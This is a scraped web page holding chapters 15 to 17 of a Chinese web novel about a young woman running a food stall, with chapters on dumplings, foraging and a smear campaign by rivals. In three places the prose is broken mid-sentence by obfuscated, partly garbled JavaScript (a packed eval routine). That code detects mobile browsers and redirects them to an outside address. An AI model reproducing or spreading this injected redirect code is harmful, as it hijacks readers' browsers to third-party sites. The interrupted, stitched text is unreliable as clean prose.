两人连夜买了食材，自己尝试了一下，觉着味道不差就迫不及待出摊了，头一日的低价尝到了甜头，便想着第二日再便宜些彻底抢了林书晚的生意，岂料今日她推出鱼肉饼，不仅客流没少，还吸引了不少新的食客，如此看来也算是自食恶果了。 瞧了一出狗咬狗的好戏，青芜心满意足，竟还与秦娘子打起赌来，这两人明日还会不会来摆摊。 “真要同我赌明日？”秦娘子笑得狡黠，“那我赌不会。” 闻言，青芜愣了片刻，心知这两人脸皮厚指定还会继续摆摊，但她总觉得秦娘子干脆的有些过头了，担心里头有诈，迟疑之间，被林书晚弹了下额头。 “傻阿芜，明日十五，集市休市可摆不了摊。”林书晚笑着解释，她心中又惦记着酸汤米线的改良法子，转头同秦语道，“秦娘子明日可有空，随我出城踏青如何？” “林娘子邀约，哪怕再忙我也是要来的。”秦语眉眼一弯，笑着应下。 两人约好明日会面的时间，就各自归家。 午后姜家小院，难得空闲的林书晚坐在廊下，瞧着姜婉翻着院子里的土，她们打算在墙角种上一株葡萄，这样来年夏日便能搬张藤椅坐在院中，吃着甜水纳凉。 就在此时，门口传来敲门声，青芜一边嚷着“谁啊。”，一边往门口赶去。 “是我，隔壁的周婶娘。”妇人的嗓音自门外而来。 青芜拉开门，周婶娘站在门口，手中提着竹篮，里头藏着三只颤颤巍巍的小鸡崽叽叽喳喳叫着，不待青芜开口，谨哥儿听着声就窜出来了，眼巴巴地盯着鸡崽子，又怕林书晚不同意自己养，便扭头瞪着双大眼直勾勾地盯着林书晚。 这下林书晚撑不住了，笑着唤了青芜将周婶娘迎进来，“婶娘，家中简陋没什么好茶，只能委屈你喝杯清水了。” 说罢，林书晚就着井水洗了洗手，拍了拍谨哥儿的肩头，让他去一边玩儿去。 “晚娘，你怎买了这么多鱼？”周婶娘路过水井旁，瞧着地上的木盆中游着好几尾鱼，心中不解，她将装着小鸡崽的竹篮随手递给身旁的谨哥儿，下意识叮嘱，“谨哥儿小心些，莫把鸡崽子玩死了，这些都是能下蛋的母鸡，外头买可不便宜呢。” “知道了，婶娘。”谨哥儿提着竹篮走到菜地旁，顺手揪下一片翠绿的菜叶递到鸡崽嘴边。 瞧着青芜守在一旁，周婶娘笑着接过水碗直道“不麻烦”，抿了一口，目光打量着姜家小院，倒是整洁了不少，心中暗道这林娘子倒是个勤快的，只可惜家中没了男人，只留这几个孤儿寡母的，实在可怜。 闻言，林书晚瞧着那盆鱼，笑了笑，“婶娘晓得的，阿娘同谨哥儿前些日子生了场大病，总要给他俩补补。婶娘来就算了，怎么还带了小鸡？” “哦，前两日我瞧你买了新车，便同你周叔猜测你摆摊生意不错，我瞧你摆摊卖那鸡蛋饼，想来日日都要买不少鸡蛋，便想着问问你用的鸡蛋能不能直接从我家收。”话音一落，周婶娘坐直了身子，脸上泛起一层红晕，迟疑了片刻，才咬着牙道，“晚娘你不晓得，但你阿娘肯定知道，我家养的鸡要比旁人养的壮实不少，下的鸡蛋个头也大，那三只小鸡便是送你们养的。” 话音一落，林书晚同身侧的姜婉对视一眼，眼中满是考量。 周婶娘瞧着林书晚一言不发，心中忐忑，“晚娘我晓得你心中顾虑，我同你周叔商量了，咱们邻里邻居的，我也不同你说虚的，实在是家中鸡养得多，鸡蛋吃不完，本来是日日去集市摆摊，可如今源哥儿他奶奶摔坏了身子，要人照顾，你周叔又是货郎，难得归家，这才想着寻……” “婶娘，你若是愿意卖我鸡蛋，我自然是高兴的，方才我只是在想用何价格收合适。”林书晚替周婶娘倒了杯热茶笑着安抚，确实如她所言，自己摆摊日日都要鸡蛋，而且周婶娘是养鸡鸭的一把好手，若是能与周家婶娘签了供货契书，那自然是再好不过的，只是这价格得定好，免得日后两家生了龃龉。 话音一落，周婶娘面露喜色，晓得如今姜家做主之人是林书晚，殷切地拉出她的手，笑道：“晚娘，我同你阿娘也算旧识，自然不会贵了你的，我同你周叔一早便商量好了，外头的鸡蛋是三文钱一个，我便宜你一文钱，两文钱一个如何？” 自然是好的，一个便宜一文钱，林书晚这些时日，几乎每天都要耗费一百来个鸡蛋，这样每日都能省下一百余文，对如今的她来说可是一笔不小的钱，当即拍案决定从周婶娘家订购鸡蛋，两家约好明日寻了巷尾的汪大爷一同去衙门寻了讼师签上一份供货契书。 如林书晚所言，倒不是不信任周家婶娘，实在是关乎两家的情分同利益，签了供货契书，更是对两家的保障。 林书晚送周家婶娘走到门口，只见她欲言又止，迟疑许久才开口道：“晚娘，鱼肉少刺多，腥味还大不如买些鸡鸭吃。” 闻言，林书晚愣了片刻，瞧着周婶娘走远的背影无奈笑了笑，关上门回了院中，其实那些鱼不单单是姜家这几口人吃的，林书晚还打算做些新的吃食，就最近这两日摆摊来看，来的食客不单单是码头的伙计，还有不少商船的客人，甚至还有不少人专门绕了远路来自家摊位吃朝食。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305281|165248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她琢磨了片刻，忽而记起后世两广之地有种吃食叫“鱼皮饺”，正巧她嘴馋时学过做法，以鱼肉入皮，那味道实在鲜美，这会想着都有些馋，林书晚当机立断今日的暮食就吃鱼皮饺，鱼皮饺做法不难，就是废些功夫，这会开始揉面，到暮食刚好能吃上。 想着鲜美的鱼皮饺，林书晚从凳子上翻身而起，三步并作两步走到木盆旁，挑出一条个头适中的鲢鱼，手脚麻利地将鱼处理好，便要开始最重要的一步，把片好的鱼肉剁成肉糜，这可是个不小的体力活，毕竟只有这样，揉出来的面团才会光滑柔韧。 小半个时辰后，林书晚抬手擦去额头细密的汗珠，往鱼肉中倒入一早备好的葱姜水，又加了一小勺黄酒去腥，搅和均匀后，她暗道声可惜，若能再加上些胡椒粉那味道会更好。 “青芜打些温水来。”林书晚将调好的肉糜倒入面粉中，接过青芜递来的温水少量多次加入。 直到鱼肉同面团彻底糅合在一块，林书晚取过擀面杖，随着她手下的动作，一块块薄而均匀地面皮出现在她手边，待到绣完荷包的姜婉出来，瞧着她灵巧的动作，看入了神。 直到听见几声鸡叫，姜婉才回过神来，缓步走到林书晚身旁，“晚娘，这是在做什么？” “鱼皮饺。”林书晚头也不抬，飞快擀着饺子皮。 大约过了一炷香，她总算是将一大盆面团擀完了，林书晚撒开擀面杖，坐直了身子，不停捶着自己酸痛的胳膊，心中暗道她总要教会青芜揉面，不然自己一个人实在太累了些。 饺子皮准备好了，接下来只要调好肉馅，就能包饺子了，包饺子就十分简单了，林书晚两手往里一掐，一颗饱满似元宝的饺子出现在她手中，洗过手的姜婉两人也一同来帮忙包着，甚至连方才一直再跟鸡崽子玩的谨哥儿都凑到桌边，嚷着要帮忙包饺子，意外的是，谨哥儿包的饺子虽算不上漂亮，但也还算不错。 等到鱼皮饺蒸上锅时，已然暮色沉沉，林书晚当即决定日后若真要卖这鱼皮饺，价格必然要定高些，毕竟这饺子做起来费时费力，个头又不大，主力客户自然就不会是在码头做工的伙计。半个时辰后，热气蒸腾，鱼肉的鲜香在小院中散开，围在炉子旁的谨哥儿直勾勾地盯着锅子，吞咽着口水。 “快去洗手，马上开饭了。”林书晚将两人赶去洗手，自己掀开锅盖，露出里头晶莹的饺子，香味愈发浓郁了。 谨哥儿去而复返，两手扒在桌边，吸溜着口水，别说近在眼前的谨哥儿同青芜，连隔壁的源哥儿都被这香味馋得撇下自己手中的碗，贴在墙边口水直流，嘟嘟囔囔要周婶娘也给自己做，结果当场挨了个脑瓜崩。 “快吃吧。” 话音一落，青芜迫不及待夹起一颗，甚至来不及细看，就塞到口中，外皮柔韧光滑带着鱼肉的鲜香，咬破外皮滚烫的汁水从里头流出，烫的青芜斯哈出声都舍不得吐掉，鲜，实在太鲜了。 不说旁的，连年岁最小的谨哥儿都吃了十五个鱼皮饺，撑得肚子圆滚滚的。 夜色飒飒，林书晚仰头望着夜空，“阿娘，明日集市休市，我带青芜出趟城。” 15.青菜瘦肉粥 春日的夜风还带着寒意，墙外的树枝随风而动，沙沙作响。 昏黄的灯火下，姜家小院的新成员蜷缩在铺满稻草的竹篮中，睡得正香，姜婉捏着针线的手顿了顿，“怎的忽然要出城？” 闻言，林书晚拢了拢衣领，身子往后一靠，同姜婉说出心中所想，“阿娘，我忙了这么些时日还未曾看过廉州城，眼下正值春日，和风旭日的正适合去城外踏青，而且这几日我在码头听那些伙计提起，城外有一座山，那山脚长了不少野菜。” “你这是馋野菜了？”初时姜婉还有些奇怪，直到听见林书晚提及野菜，心中了然，她家晚娘哪里是想着踏青，分明是冲着山脚的野菜去的。 “阿姐，我也要去！”自方才听见林书晚提及要出城起，谨哥儿便端坐在矮凳上，竖着耳朵专心听着两人的话，这会总算寻着机会插上一嘴。 话音一落，林书晚笑着揉了揉肉谨哥儿的脑袋，“自然是要带我们谨哥儿一起的。” 得了准话的谨哥儿高兴极了，实在是他这个年级的娃娃正是顽皮的时候。 “这样一来，明日同周婶娘签供货契书便要阿娘去了。”林书晚瞧着谨哥儿跑远，同姜婉打着商量。 “晓得了，你这丫头同阿娘客气什么。”姜婉笑道。 次日一早，远远传来一声打更的梆子声，随即从周婶娘家传来几声嘹亮的鸡鸣，微弱的光线透过窗户的缝隙落在林书晚脸上，她皱着眉将脸埋在被褥上蹭了蹭，打算再眯上一小会，怎料窗外的鸡鸣声此起彼伏，扰人清梦。 无奈之下，她只好撑着身子坐起，摸索着外衫披上，心中暗道若那几只鸡崽子是自家的，迟早给它宰了。 林书晚顶着怨气推开门，带着潮气的风拂过脸颊，倒是让她清醒了几分，巷子里头炊烟袅袅，不一会儿，她便嗅到米面的香味，估摸着是钱婶娘家在蒸包子了，她舒展着身子伸了个拦腰，缓步走到院中，眼下天色尚早，昨日晚上的鱼皮饺还剩了不少，刚好蒸上做朝食。 除了鱼皮饺，林书晚还打算炖上一锅青菜瘦肉粥，说到瘦肉粥，跟皮蛋可是绝配，奈何她来了这么些日子还从未见过哪家有卖皮蛋的，她切着肉丝，暗自琢磨，打算等过几日请了人将小院翻新后，寻周婶娘买上百来个鸭蛋，尝试着腌制皮蛋与咸鸭蛋。 到时候她的朝食摊便能陆续加上些粥类，带着对日后生活的憧憬，林书晚的动作愈渐轻快，她将切好的肉丝抛入葱姜水中去腥，转身将泡了半炷香的粳米倒入砂锅中，大火煮开，米香四溢，她飞快划入腌好的肉丝，片刻之后，肉香混杂着米香扑面而来，她撤去炉中的柴火焖上一炷香，这样炖出来的米粥味道更为绵软香浓。 最后撒上一把嫩得能掐出水的青菜，再焖上半盏茶的时间，一锅喷香浓郁的青菜瘦肉粥便做好了。 就在她打算将鱼皮饺蒸上时，林书晚忽然想起她在后世偶然吃过一种煎馄饨，那种做法与她以往吃过的都不一样，是将馄饨煎得金黄酥脆，最后再再锅底淋上一层鸡蛋液，那一口咬下去，酥脆的馄饨皮搭配着煎鸡蛋的香味，当真是喷香诱人。 思及此，林书晚下意识抿了抿唇，将方才拿出的蒸笼收回，转转头取出一把饼铛架在炭火极旺的炉子上，她往锅底刷了一层油，将鱼皮饺一个个整整齐齐摆在饼铛中，不一会儿酥香四溢。 “娘子，这是什么？好香。”才将衣服晾好的青芜，搬了张矮凳坐在林书晚身旁，眼巴巴地盯着锅中逐渐金黄的饺子，不停吸着鼻子。 闻言，林书晚翻动着饼铛中的饺子，应道：“这吃食名唤煎饺，快去洗手一会便能吃了。” 林书晚瞧着锅中的煎饺逐渐成型，捞过一旁的鸡蛋液倒入锅中，“滋啦”一声，随着白雾蒸腾，浓郁的蛋香味扑鼻而来，顺着风飘入隔壁周婶娘家中，一家三口坐在院中瞧着面前清汤寡水的白粥。 源哥儿戳着碗中的米粥，吸溜着口水，口中嘟囔着，“好香啊，难怪昨日谨哥儿同我炫耀他阿姐做的吃食味道很好，今日我得忽悠谨哥儿带些给我尝尝。” 瞧着自己儿子没出息的样子，周婶娘难得没有动手，实在是这味道太香了，比前几日的鱼汤还要香，若不是脸皮薄，她也想上门讨些尝尝。 不仅周家如此，整条巷子闻着这味儿，都馋得不行，打算等后日集市开市后，便去林书晚的摊位上买些尝尝。 对于这些林书晚自然是不晓得的，眼下她正将锅中的煎饺盛出，“青芜去瞧瞧谨哥儿醒了没。” 不过片刻，随着一声门响，谨哥儿睡眼惺忪地跟在青芜身后，脸上还带着睡觉压出来的印子，摇摇晃晃走到水井旁，掬起一捧水扑到脸上，这才醒过神来，鼻子一动，循着味就扑到桌边，瞧着金黄的饺子，抬手就要抓，却被林书晚抬手挡住，“快去洗漱，洗漱好了才能吃。” 与此同时，廉州城外的官道上，一辆马车疾驰而过，带起阵阵尘土。 “公子前头就是廉州城了，可要歇息片刻再进城？”驾车的男子身着黑色窄袖短打，腰间佩戴一柄长剑。 话音一落，马车内传来一阵低哑的咳嗽声，苍白的指尖撩起车帘，露出一截精致的下巴，“不用，快些进城。” “是。”男子应下，随即扬鞭，马车朝着廉州飞速赶去。 林书晚一手提着竹篮，一手牵着谨哥儿走在街道上，越过清名桥，远远瞧见秦语站在河边的柳树下等着自己，加快步子便往那处行去，忽而不远处传来急促的马蹄声，她来不及回头，下意识拽着谨哥儿往路边让去。 她才往后退了两步，一辆乌木马车便从她眼前疾驰而去，将她惊出一身冷汗。 “林娘子，你可有碰着？”匆匆赶来的秦语拽着林书晚瞧了个遍，确认她无甚问题才松了口气，怒道，“也不知那马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309109|165248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车里头是何人，竟敢当街纵马，真是吃了熊心豹子胆了！” “秦娘子，我无事。”林书晚缓过神来，确认过谨哥儿同青芜没事后，这才应道，“时辰不早了，我们快些出城吧。” 临走时，林书晚无意识回头瞧了眼，她似乎瞧见那马车停在了医馆前。 春日融融，廉州城外一片青葱，林书晚一行人走走停停，总算赶在午时，行至码头伙计提及的方荟山，林书晚接过青芜手中的空竹篮，叮嘱她看好谨哥儿，自己领着秦语直奔山脚而去。 与后世史书记载的朝代不同，永宁朝的山属野山，意思就是山中的野菜菌类，捡了也就捡了，无人会追究责任。 才踏入林子，果真如那些伙计所言，地上的野菜菌类长得十分旺盛，枝头的香椿郁郁葱葱，林书晚心中大喜，当即就打算开挖，忽而想起今日约秦语出来的目的，转过身子，认真地瞧着她，“秦娘子可信我？” “自然是信的。”秦语不解，毕竟自打林书晚的摊位摆在自己隔壁后，自家的酸汤米线比往日多卖了许多，单凭这一点她也没有理由怀疑林书晚。 “今日约娘子出来，便是想帮娘子改良一下酸汤米线的配方。”得了准话的林书晚，蹲下身子，翻看着地上的菌类，挑着能吃的品类拔出几株递到秦语手中，又道，“倒不是说娘子的手艺不好，只是酸汤的汤底有些寡淡，若是以菌汤亦或是骨汤，想来味道会更加醇厚，秦娘子不如今日试试。” 闻言，秦语恍然大悟，“难怪你昨日特意叮嘱让我带上酸汤的料子。” 半个时辰后，林书晚两人心满意足地挎着竹篮从林子里头出来，今日收获颇丰，除了常见的鸡油菌以外，林书晚还寻到了后世价格极高的松茸，只是量少，她们两个女子又不敢往林子深处走，不过眼下既然晓得这林子里头有菌子，日后总有机会来摘。 待到天色擦黑，几人从赶在城门落锁前回到廉州城中。 “你可听说了吗，今日城中来了位贵客，都惊动了知府大人。” “我听说那贵人体弱，刚进城就高烧不止，直接就送去了医馆。” “确实如此，我家小子就在那家医馆做活，就是中午那会，那贵人可不是高烧不止，我听我家小子说，似乎是中了毒。” …… 街道上，三三两两的人群聚作一团，说着今日城中的事，路过的林书晚听了一耳朵，对今日马车中的那人有了几分猜测，不过也同她无甚关系，相较于廉州是否来了达官贵人，她更在意明日自己生意如何。 行至长安街，秦语同林书晚道了谢，挎着装满菌子的篮子匆匆归家，她迫不及待想要自己试试改良后的酸汤米线。 瞧着秦语的背影消失不见，林书晚才拉着谨哥儿带着青芜往家走去，一边琢磨着明日摆摊可要再上些新的吃食，如今摊位上只卖两种吃食，还是觉得有些少了。 16.酥炸香椿鱼 踩着落日的余晖，林书晚领着青芜匆匆回到家中，她瞧着竹篮中满满当当的鲜嫩野菜，打算明日摆摊加上时令菜，弄个类似后世的春日限定。 将手中的竹篮放下，探头瞧了眼屋中掌灯绣着荷包的姜婉，心中有些酸涩，还得多赚些银钱，到时就让阿娘把这伤眼的活推了，专门给自己管账。 忙完，林书晚将围着自己打转的谨哥儿赶去给三只鸡崽搭个能遮风避雨的小窝，便开始炸明日摆摊要用的猪排，鸡肉丸子之类的，待到将明日鸡蛋饼要用的东西都准备好后，就早早歇下了。 隔日又是天不亮就起了，林书晚将昨日炸好的猪排，鸡肉丸子复炸一遍，就开始调制炸天妇罗的面糊，鸡蛋面粉生粉混在一起，搅和均匀后，往里头撒上一点盐与五香粉，那五香粉是林书晚自己去买了香料磨成粉配成的，就那么一点香料就花了她将近一贯银钱，心疼的不行，好在磨成粉能用上许久。 就在林书晚一个人在外头忙得团团转时，青芜打着哈欠从屋内出来，默不作声地蹲下身子帮她烧火。 “我吵醒你了？”林书晚将焯过水的香椿捞出，顺手捏了一颗鸡肉丸子塞到青芜口中，笑着问道。 青芜取过蒲扇给炉子扇着火，摇了摇头。 待到将摆摊要用的东西都准备好，林书晚站直了身子锤了锤酸痛的胳膊，这才发现原本黑漆漆的天已经变成了青灰色，天边泛起一层鱼肚白，该出摊了。 姜婉同谨哥儿也醒了，两人揉着眼走到小院，林书晚给两人留了朝食，瞧着姜婉乌青的眼底欲言又止，最终还是叹了口气，唤过青芜将食材装在竹篓中，最后将炉子搬到车上，最后再塞上一筐炭火，两人便直直朝码头赶去。 廉州的清晨，天刚蒙蒙亮，城西码头就响起阵阵号子声。 沿河边的街道上摆满了各式各样的朝食摊，吆喝声中伴随着车轮轧过石子的声音，林书晚推着推车从码头东侧走来，今日她来得极早，等到她同青芜将食材逐一摆好，秦娘子才姗姗来迟，两人相视一笑，目光不约而同落在右侧的空地上，那对夫妻俩倒是还没来。 见此，青芜心中大喜，凑到林书晚耳边，“娘子莫不是那俩人，觉着丢了面不来摆摊了？” 林书晚摇了摇头，心道那两人若是要脸，也做不出恶意抢生意的事情，果然下一秒就应证了她的想法，那对夫妻推着车停在秦语摊位旁。 青芜霎时垮下脸，暗自嘀咕“阴魂不散”。 “好了，阿芜莫同他们置气，今日我们可是有要紧任务的。”瞧见她气呼呼的模样，林书晚笑着捏了捏她的脸颊，低声哄道。 是了，昨日林书晚在方荟山挖了不少野菜回来，暮食便做了天妇罗同荠菜煎饼，姜家几口人都觉着味道不过，她这才一大早起来调制天妇罗的面糊，打算今日就在摊位上将这两种吃食，作为春日限定推出。 今日头一日尝试，若是此法可行，往后每个季节她都会推出些时令特色菜，这样也算是她独有的招牌。 林书晚正想着该如何推出新品，小食摊的忠实粉丝蒋大壮便踩着点来了，“小娘子，老样子。” 说罢，正要去秦语摊位上寻个位置坐下，就听林书晚开口唤他，“郎君，今日铺子推出春日限定荠菜煎饼同酥炸香椿鱼，可要尝尝？” “哦？”闻言，蒋大壮立时来了兴致，荠菜煎饼他倒是听过，但天妇罗他还是头一次听说，“酥炸香椿鱼是什么？莫不是香椿加鱼的吃食？” “郎君说笑了，酥炸香椿鱼是取以香椿的嫩芽裹上面糊炸至而成，味道酥脆，可要尝尝？”林书晚笑着解释，又似乎怕蒋大壮不信，她取过木匣中焯过水的香椿，倒入一早调好的面糊中，瞧着香椿叶上挂满面糊，捞出滑入滚油锅中。 “滋啦”一声，油脂的香味同面糊的香味完美融合，直扑向蒋大壮面门，他嗅着浓郁的香味，下意识吸着口水，“香，实在太香了，小娘子这天妇罗还有煎饼都给我来一份。” “好勒，天妇罗五文钱一分，煎饼三文钱一个，一共八文钱。”林书晚唤来青芜收账，自己手脚麻利地翻动着油锅中的酥炸香椿鱼，心中暗道果然从古至今，无人能抵抗油炸食物的美味。 油炸的香味顺着风，渐渐飘远，不一会儿，林书晚的摊位前便挤满了食客，不单单是码头做活的伙计，还有好些从集市循着味来的，炸好的香椿从油锅中捞起，宛如散开的鱼尾，外层金黄酥脆，一口咬下露出里头翠绿带着嫩红的香椿，蒋大壮咬下头一口就瞪大了眼睛，他还从未吃过如此做法的香椿。 四月的香椿本就是最鲜嫩的时候，再挂上一层面糊往油锅一炸更是香的没边，蒋大壮吃得认真，捏着香椿鱼一块接一块塞到口中，直到最后一块塞如口中，他还捡着落在桌上的碎渣放入口中。 边上被香味诱来的食客，瞧着蒋大壮的动作，心中起了几分怀疑，这香椿鱼当真有这般好吃？此人莫不是这小娘子请来的托？ 在众人抱着怀疑的心思时，一位穿着利落的妇人从人群中挤出，上下打量着林书晚，点着木匣中的香椿道：“劳烦小娘子，给我来上五份香椿鱼，再加五份荠菜煎饼，同十个全家福鸡蛋饼。” 酥炸香椿鱼同煎饼一下就卖了不少，林书晚赶忙唤过正在啃着鸡蛋饼的青芜帮忙收钱，青芜只好恋恋不舍地将手中的鸡蛋饼裹好塞入抽离，抱着木匣凑到林书晚身旁收着银钱。 大约是有人牵头，加之这酥炸香椿鱼价格实在不贵，被香味引来的食客大多买了一份尝尝。 一位头发花白的阿婆牵着小孙子捧着刚买到的香椿鱼还没走出几步，那挑食的小孙子就拽着她的衣角，“阿婆，我想吃。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314620|165248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欸。”那阿婆捏起一块酥脆的香椿鱼递到小孙子嘴边，外酥里嫩，这味道实在太好了，两人就蹲在河边将那一小份香椿鱼分食干净了。 谁料那小孙子吃完最后一口香椿鱼，意犹未尽地舔了舔唇，仰着头同那阿婆道：“阿婆，我还想吃。 闻言，那阿婆又惊又喜，当即牵着小孙子又挤到小食摊前，结果才这么一小会儿的功夫，原本满满当当的香椿叶只剩下底部薄薄一层，她赶忙抢先开口，“我还要两份。” 与林记小食摊生意火爆截然不同的便是那祝家鸡蛋饼，祝大郎目光阴沉地瞧着林书晚，推着车就准备离开，怎料才走出几步，就听见身后有人唤自己，他停住步子，扭头望去，却见一位面生的男子朝自己走来。 “祝郎君可随我去茶馆一叙？” 闻言，祝大郎皱起眉头，眼中满是怀疑。 “我同郎君一样，瞧那人不顺眼。”那人瞧出祝大郎眼中的警惕，又上前几步，压低着嗓音道。 “可是林……” “郎君慎言，此处人多口杂，随我去茶馆一叙可好?”那人眼中划过一丝嘲讽，当即打断祝大郎的话。 祝大郎扫过四周，确如那人所言，往来的行人极多，当即捂着自己的嘴，点着头跟在那人身后，绕过长春桥，又走了三四里地，两人停在一处茶馆前。 那人领着祝大郎上了二楼，瞧着四下无人才开口道：“我同郎君亦是码头的商贩，林娘子未来之前，生意还算不错，日日都能赚上不少银钱，可自打那林娘子来后，生意便一日不如一日，我自是懂得郎君心中的苦楚。” 这一番话算是说到了祝大郎的心坎上，他立时卸下防备冲着那人大吐苦水，“郎君说的是，我也实在弄不明白，我分明同那臭丫头卖的一样的吃食，甚至还比她便宜了不少，我家媳妇儿年岁也比那臭丫头大，家中的吃食都出自她手，我想破了脑袋都想不通，怎的那帮人就爱吃她做的。” 听着祝大郎这番不要脸的发言，那人心道真是个蠢货，便面上却是同他一样的愤恨，“郎君说的是，我瞧着那林娘子也不过十七八岁的样子，哪来这么一手好厨艺，也不晓得那吃食是用什么做的。” 祝大郎恍然大悟，摩挲着下巴，难得动了一次脑子，“我说那臭丫头为何生意这般好，做什么都有人爱吃，难不成里头加了东西？” 过了半个时辰，祝大郎像只斗胜的公鸡似的，昂首挺胸从茶馆中走出，快步走至集市，寻了几个闲汉从腰间摸出几个铜板，跟他们耳语几句后，神清气爽地拐去了酒馆。 而正准备收摊的林书晚，疑惑地瞧着寻到自己跟前的几个闲汉，还未来得及开口，便听这几人敲响了口中的铜锣，大声嚷嚷着，“林家小食摊吃食里头不晓得加了什么，我们兄弟几人吃过后跟上瘾似的，一日不吃就浑身难受得紧。” 17.椒盐九肚鱼 “几位郎君瞧着眼生，当真日日来我铺子买饼？”林书晚按住想要上前理论的青芜，笑得八风不动。 这几人穿着粗布麻衣，衣襟沾着酒渍，杂乱的头发用半截竹筷胡乱绾起，眼底乌青，伸长的脖颈间露出一截刺青，那模样瞧着就不是在码头干苦力的。 为首那人拎着铜锣，对上林书晚审视的目光，心头一阵发虚，正要后退，余光扫见不知听着动静不知何时围过来的人群，这才发觉自己竟险些被这年岁不大的臭丫头唬住，立时恼羞成怒，“哐哐”两下敲响手中的铜锣。 转过身子朝着围观的人群，道：“诸位仔细想想，是否如我所言吃过这林记食摊的东西就日日想着，一日不吃心中就惦记着。” 一时间，码头嘈杂一片，确如那闲汉所言，这鸡蛋饼一日不吃就惦记得很，众人心中皆是疑虑，但也有人未被此人的强盗逻辑绑架。 “你这汉子好不讲道理，我们日日惦记这口吃得，自然是林娘子手艺好。”牵着小孙子阿婆先开了口。 “老人家说的是，我家那小子在日日挑食，林娘子可算给我解了一大难题。”不远处的妇人应和道。 瞧着局势不对，那闲汉又敲了几下铜锣，见着方才替林书晚说话的几人捂着耳朵住嘴，举着棒槌指着那几人，张嘴就骂，“妇人之见！老子前两天吃着不对，打听过了，她不过一介孤女，哪里学得这么好的厨艺，况且她每每新出一样吃食，你们都一窝蜂的买，还有那鱼肉饼，处理鱼肉的法子都是各大酒楼不外传的秘法，她怎么会晓得？必然是在里头加了东西，才让我等日日惦记。” “这人说的倒是有几分在理……”人群中走出一位中年男子，摸着自己的胡须欲言又止。 "郎君说日日来我家吃饼，那郎君可晓得我家鸡蛋饼有几种酱料？”林书晚目光扫过四周，一眼瞧见藏在角落的祝大郎，心中了然。 大抵是这人眼红自己生意好，便请了这几个闲汉来败坏自己的口碑，毕竟做吃食生意的，口碑极为重要。林书晚柳眉蹙起，心中略有不解，单就这几日来看，祝大郎是个没脑子的，应是想不出这等周全的法子。 等了许久，林书晚都不见那人应声，又继续问道：“怎么？郎君说日日来我家吃饼，一日不吃就惦记的很，难不成连我家用什么酱料都不晓得吗？” 针似的目光落在身上，闲汉抓耳挠撒想不出半点推脱之词，不由在心中暗骂，半晌破罐子破摔道：“老子每日忙得很，哪有什么闲功夫记你这点酱料的事。” 听了半晌的秦语回过味来，林记食摊总归就两种酱料，一种甜酱一种辣酱，都是林书晚独门秘制，只要来吃过的，必不可能不晓得这两种酱料，当即就指着那闲汉厉声，“你压根儿就没来过林娘子的铺子，我说我在她隔壁怎从未见过你，快说何人指使你来败坏林娘子的名声。” 闻言，闲汉心头一跳，眼珠子乱转，色厉内荏道：“什么指使不指使的，老子不晓得你这小娘子皮在胡扯什么，明明就是你二人不老实，在吃食里头加了东西，如今竟还往老子身上扣黑锅。” 林书晚一言不发瞧着眼前这场闹剧，可这副模样看在旁人眼中便是心虚。 “是啊，林娘子你吃食中若是未加东西，为何不解释一句。”方才说话的中年男子往前一步，带笑的眸子略显阴阳。 这人同那闲汉是一伙的，林书晚心中笃定。 沉吟片刻，林书晚有条不紊地将收起铁锅取出，瞥了闲汉一眼，“您二位不过就是觉得我年岁小，厨艺不精，用了旁门左道才吸引了食客么？” “难道不是？”听着此言，闲汉只以为林书晚承认了，心中大喜。 人前的男子倒是琢磨出一些不同的意味来，当即就要开口，却瞧见林书晚从推车后头绕出，劈手夺过闲汉手中的铜锣。 “哐哐”敲了两下，沉声道：“既然二位质疑我的厨艺，那我便请在场的诸位做个见证，我当着二位的面做一条红烧鱼，为了公平起见，鱼的种类您二位挑，等鱼做好后，由您二位同秦娘子各自选上几位路人品尝如何？” 见识过林书晚厨艺的秦语自然没什么异议，当即点头应下，那闲汉也不晓得林书晚厨艺究竟如何，再者他今日来此不过就是将她在吃食里头加了东西的言论散布出去，如今任务完成，自然也没有意见。 周边围观的人群听闻有机会白得一份吃食，更是没有半点不同意。 眼下便只剩那中年男子，他瞧着几人的目光，咬牙暗恨，祝大郎个成事不足败事有余的蠢货，不仅没灭了这臭丫头的气焰，还平白给她一次打出名声的机会，但盯着这么些人的目光，他自然不能说不行，只能打碎了牙往肚里吞，“自然可以。” 瞧着三人同意，林书晚唤过青芜，由秦娘子与闲汉陪同去集市买鱼。 早市将散，天色大亮，江昱枫乘着车行过清茗桥往城中的刺史府去。 前些日子，他刚回到钦州，不过三五日的功夫，便得了太子秘信转至廉州，怎料昨日一路奔波旧疾复发，被惊鸿连人带车送去医馆，还未来得及见过廉州大小官员。 今儿总算是好些了，这会便是去刺史府认认人。 